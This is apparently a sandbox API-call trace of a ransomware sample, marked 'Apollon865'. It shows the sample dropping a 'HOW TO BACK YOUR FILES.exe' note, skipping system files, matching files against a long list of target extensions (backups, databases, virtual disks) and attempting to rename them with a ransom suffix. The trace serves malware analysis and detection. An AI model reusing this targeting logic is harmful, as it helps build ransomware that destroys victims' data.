	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".dll") returned 1
	[0062.251] lstrlenW (lpString=".lnk") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".lnk") returned 1
	[0062.251] lstrlenW (lpString=".ini") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".ini") returned 1
	[0062.251] lstrlenW (lpString=".sys") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".sys") returned 1
	[0062.251] lstrlenW (lpString="wmpnss_color48.bmp") returned 18
	[0062.251] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_color48.jpg" | out: lpString1="wmpnss_color48.jpg") returned="wmpnss_color48.jpg"
	[0062.251] lstrlenW (lpString="wmpnss_color48.jpg") returned 18
	[0062.251] lstrlenW (lpString="Apollon865") returned 10
	[0062.251] lstrcmpiW (lpString1="olor48.jpg", lpString2="Apollon865") returned 1
	[0062.251] lstrlenW (lpString=".dll") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".dll") returned 1
	[0062.251] lstrlenW (lpString=".lnk") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".lnk") returned 1
	[0062.251] lstrlenW (lpString=".ini") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".ini") returned 1
	[0062.251] lstrlenW (lpString=".sys") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".sys") returned 1
	[0062.251] lstrlenW (lpString="wmpnss_color48.jpg") returned 18
	[0062.251] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_color48.png" | out: lpString1="wmpnss_color48.png") returned="wmpnss_color48.png"
	[0062.251] lstrlenW (lpString="wmpnss_color48.png") returned 18
	[0062.251] lstrlenW (lpString="Apollon865") returned 10
	[0062.251] lstrcmpiW (lpString1="olor48.png", lpString2="Apollon865") returned 1
	[0062.251] lstrlenW (lpString=".dll") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".dll") returned 1
	[0062.251] lstrlenW (lpString=".lnk") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".lnk") returned 1
	[0062.251] lstrlenW (lpString=".ini") returned 4
	[0062.251] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".ini") returned 1
	[0062.252] lstrlenW (lpString=".sys") returned 4
	[0062.252] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".sys") returned 1
	[0062.252] lstrlenW (lpString="wmpnss_color48.png") returned 18
	[0062.252] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Media Player\\Media Renderer", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Media Player\\Media Renderer") returned="C:\\Program Files\\Windows Media Player\\Media Renderer"
	[0062.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0062.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0062.252] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer") returned 52
	[0062.252] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Media Renderer" | out: lpString1="C:\\Program Files\\Windows Media Player\\Media Renderer") returned="C:\\Program Files\\Windows Media Player\\Media Renderer"
	[0062.252] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.252] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\media renderer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.258] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d2da230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d2da230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.258] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.258] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.258] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.258] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d2da230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d2da230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.258] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.258] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.258] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.258] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.258] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="Apollon865.txt.exe") returned 1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2=".") returned 1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="..") returned 1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="windows") returned -1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="bootmgr") returned -1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="temp") returned -1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="pagefile.sys") returned -1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="boot") returned -1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="ids.txt") returned -1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="ntuser.dat") returned -1
	[0062.258] lstrcmpiW (lpString1="avtransport.xml", lpString2="perflogs") returned -1
	[0062.259] lstrcmpiW (lpString1="avtransport.xml", lpString2="MSBuild") returned -1
	[0062.259] lstrlenW (lpString="avtransport.xml") returned 15
	[0062.259] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer\\*") returned 54
	[0062.259] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml.Apollon865") returned 79
	[0062.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml.Apollon865" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml.apollon865"), dwFlags=0x1) returned 0
	[0062.259] GetLastError () returned 0x5
	[0062.259] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml MoveFileEx error 5\r\n") returned 97
	[0062.259] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml MoveFileEx error 5\r\n") returned 97
	[0062.259] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0062.259] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2a04
	[0062.259] WriteFile (in: hFile=0x150, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x61, lpOverlapped=0x0) returned 1
	[0062.259] CloseHandle (hObject=0x150) returned 1
	[0062.260] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.260] CloseHandle (hObject=0x0) returned 0
	[0062.260] CloseHandle (hObject=0x0) returned 0
	[0062.260] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b1f3147, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="Apollon865.txt.exe") returned 1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="windows") returned -1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="bootmgr") returned 1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="temp") returned -1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="pagefile.sys") returned -1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="boot") returned 1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ids.txt") returned -1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ntuser.dat") returned -1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="perflogs") returned -1
	[0062.260] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="MSBuild") returned -1
	[0062.260] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25
	[0062.260] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 68
	[0062.260] lstrcmpiW (lpString1="er_dmr.xml", lpString2="Apollon865") returned 1
	[0062.260] lstrlenW (lpString=".dll") returned 4
	[0062.261] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".dll") returned 1
	[0062.261] lstrlenW (lpString=".lnk") returned 4
	[0062.261] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".lnk") returned 1
	[0062.261] lstrlenW (lpString=".ini") returned 4
	[0062.261] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".ini") returned 1
	[0062.261] lstrlenW (lpString=".sys") returned 4
	[0062.261] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".sys") returned 1
	[0062.261] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25
	[0062.261] lstrlenW (lpString="bak") returned 3
	[0062.261] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0062.261] lstrlenW (lpString="ba_") returned 3
	[0062.261] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0062.261] lstrlenW (lpString="dbb") returned 3
	[0062.261] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0062.261] lstrlenW (lpString="vmdk") returned 4
	[0062.261] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0062.261] lstrlenW (lpString="rar") returned 3
	[0062.261] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0062.261] lstrlenW (lpString="zip") returned 3
	[0062.261] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0062.261] lstrlenW (lpString="tgz") returned 3
	[0062.261] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0062.261] lstrlenW (lpString="vbox") returned 4
	[0062.261] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0062.261] lstrlenW (lpString="vdi") returned 3
	[0062.261] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0062.261] lstrlenW (lpString="vhd") returned 3
	[0062.261] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0062.261] lstrlenW (lpString="vhdx") returned 4
	[0062.261] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0062.261] lstrlenW (lpString="avhd") returned 4
	[0062.261] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0062.261] lstrlenW (lpString="db") returned 2
	[0062.262] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0062.262] lstrlenW (lpString="db2") returned 3
	[0062.262] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0062.262] lstrlenW (lpString="db3") returned 3
	[0062.262] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0062.262] lstrlenW (lpString="dbf") returned 3
	[0062.262] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0062.262] lstrlenW (lpString="mdf") returned 3
	[0062.262] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0062.262] lstrlenW (lpString="mdb") returned 3
	[0062.262] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0062.262] lstrlenW (lpString="sql") returned 3
	[0062.262] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0062.262] lstrlenW (lpString="sqlite") returned 6
	[0062.262] lstrcmpiW (lpString1="mr.xml", lpString2="sqlite") returned -1
	[0062.262] lstrlenW (lpString="sqlite3") returned 7
	[0062.262] lstrcmpiW (lpString1="dmr.xml", lpString2="sqlite3") returned -1
	[0062.262] lstrlenW (lpString="sqlitedb") returned 8
	[0062.262] lstrcmpiW (lpString1="_dmr.xml", lpString2="sqlitedb") returned -1
	[0062.262] lstrlenW (lpString="xml") returned 3
	[0062.262] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0062.262] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Apollon865") returned 89
	[0062.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Apollon865" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml.apollon865"), dwFlags=0x1) returned 0
	[0062.263] GetLastError () returned 0x5
	[0062.263] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml MoveFileEx error 5\r\n") returned 107
	[0062.263] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml MoveFileEx error 5\r\n") returned 107
	[0062.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0062.263] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2a65
	[0062.263] WriteFile (in: hFile=0x150, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6b, lpOverlapped=0x0) returned 1
	[0062.263] CloseHandle (hObject=0x150) returned 1
	[0062.264] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.264] CloseHandle (hObject=0x0) returned 0
	[0062.264] CloseHandle (hObject=0x0) returned 0
	[0062.264] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".") returned 1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="..") returned 1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="windows") returned -1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="bootmgr") returned 1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="temp") returned -1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="pagefile.sys") returned -1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="boot") returned 1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ids.txt") returned -1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ntuser.dat") returned -1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="perflogs") returned -1
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="MSBuild") returned -1
	[0062.264] lstrlenW (lpString="DMR_120.jpg") returned 11
	[0062.264] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 78
	[0062.264] lstrcmpiW (lpString1="MR_120.jpg", lpString2="Apollon865") returned 1
	[0062.264] lstrlenW (lpString=".dll") returned 4
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".dll") returned 1
	[0062.264] lstrlenW (lpString=".lnk") returned 4
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".lnk") returned 1
	[0062.264] lstrlenW (lpString=".ini") returned 4
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".ini") returned 1
	[0062.264] lstrlenW (lpString=".sys") returned 4
	[0062.264] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".sys") returned 1
	[0062.264] lstrlenW (lpString="DMR_120.jpg") returned 11
	[0062.265] lstrlenW (lpString="bak") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0062.265] lstrlenW (lpString="ba_") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0062.265] lstrlenW (lpString="dbb") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0062.265] lstrlenW (lpString="vmdk") returned 4
	[0062.265] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0062.265] lstrlenW (lpString="rar") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0062.265] lstrlenW (lpString="zip") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0062.265] lstrlenW (lpString="tgz") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0062.265] lstrlenW (lpString="vbox") returned 4
	[0062.265] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0062.265] lstrlenW (lpString="vdi") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0062.265] lstrlenW (lpString="vhd") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0062.265] lstrlenW (lpString="vhdx") returned 4
	[0062.265] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0062.265] lstrlenW (lpString="avhd") returned 4
	[0062.265] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0062.265] lstrlenW (lpString="db") returned 2
	[0062.265] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0062.265] lstrlenW (lpString="db2") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0062.265] lstrlenW (lpString="db3") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0062.265] lstrlenW (lpString="dbf") returned 3
	[0062.265] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0062.266] lstrlenW (lpString="mdf") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0062.266] lstrlenW (lpString="mdb") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0062.266] lstrlenW (lpString="sql") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0062.266] lstrlenW (lpString="sqlite") returned 6
	[0062.266] lstrcmpiW (lpString1="20.jpg", lpString2="sqlite") returned -1
	[0062.266] lstrlenW (lpString="sqlite3") returned 7
	[0062.266] lstrcmpiW (lpString1="120.jpg", lpString2="sqlite3") returned -1
	[0062.266] lstrlenW (lpString="sqlitedb") returned 8
	[0062.266] lstrcmpiW (lpString1="_120.jpg", lpString2="sqlitedb") returned -1
	[0062.266] lstrlenW (lpString="xml") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0062.266] lstrlenW (lpString="$er") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0062.266] lstrlenW (lpString="4dd") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0062.266] lstrlenW (lpString="4dl") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0062.266] lstrlenW (lpString="^^^") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0062.266] lstrlenW (lpString="abs") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0062.266] lstrlenW (lpString="abx") returned 3
	[0062.266] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0062.266] lstrlenW (lpString="accdb") returned 5
	[0062.266] lstrcmpiW (lpString1="0.jpg", lpString2="accdb") returned -1
	[0062.266] lstrlenW (lpString="accdc") returned 5
	[0062.266] lstrcmpiW (lpString1="0.jpg", lpString2="accdc") returned -1
	[0062.266] lstrlenW (lpString="accde") returned 5
	[0062.266] lstrcmpiW (lpString1="0.jpg", lpString2="accde") returned -1
	[0062.266] lstrlenW (lpString="accdr") returned 5
	[0062.266] lstrcmpiW (lpString1="0.jpg", lpString2="accdr") returned -1
	[0062.267] lstrlenW (lpString="accdt") returned 5
	[0062.267] lstrcmpiW (lpString1="0.jpg", lpString2="accdt") returned -1
	[0062.267] lstrlenW (lpString="accdw") returned 5
	[0062.267] lstrcmpiW (lpString1="0.jpg", lpString2="accdw") returned -1
	[0062.267] lstrlenW (lpString="accft") returned 5
	[0062.267] lstrcmpiW (lpString1="0.jpg", lpString2="accft") returned -1
	[0062.267] lstrlenW (lpString="adb") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0062.267] lstrlenW (lpString="adb") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0062.267] lstrlenW (lpString="ade") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0062.267] lstrlenW (lpString="adf") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0062.267] lstrlenW (lpString="adn") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0062.267] lstrlenW (lpString="adp") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0062.267] lstrlenW (lpString="alf") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0062.267] lstrlenW (lpString="ask") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0062.267] lstrlenW (lpString="btr") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0062.267] lstrlenW (lpString="cat") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0062.267] lstrlenW (lpString="cdb") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0062.267] lstrlenW (lpString="ckp") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0062.267] lstrlenW (lpString="cma") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0062.267] lstrlenW (lpString="cpd") returned 3
	[0062.267] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0062.267] lstrlenW (lpString="dacpac") returned 6
	[0062.268] lstrcmpiW (lpString1="20.jpg", lpString2="dacpac") returned -1
	[0062.268] lstrlenW (lpString="dad") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0062.268] lstrlenW (lpString="dadiagrams") returned 10
	[0062.268] lstrcmpiW (lpString1="MR_120.jpg", lpString2="dadiagrams") returned 1
	[0062.268] lstrlenW (lpString="daschema") returned 8
	[0062.268] lstrcmpiW (lpString1="_120.jpg", lpString2="daschema") returned -1
	[0062.268] lstrlenW (lpString="db-journal") returned 10
	[0062.268] lstrcmpiW (lpString1="MR_120.jpg", lpString2="db-journal") returned 1
	[0062.268] lstrlenW (lpString="db-shm") returned 6
	[0062.268] lstrcmpiW (lpString1="20.jpg", lpString2="db-shm") returned -1
	[0062.268] lstrlenW (lpString="db-wal") returned 6
	[0062.268] lstrcmpiW (lpString1="20.jpg", lpString2="db-wal") returned -1
	[0062.268] lstrlenW (lpString="dbc") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0062.268] lstrlenW (lpString="dbs") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0062.268] lstrlenW (lpString="dbt") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0062.268] lstrlenW (lpString="dbv") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0062.268] lstrlenW (lpString="dbx") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0062.268] lstrlenW (lpString="dcb") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0062.268] lstrlenW (lpString="dct") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0062.268] lstrlenW (lpString="dcx") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
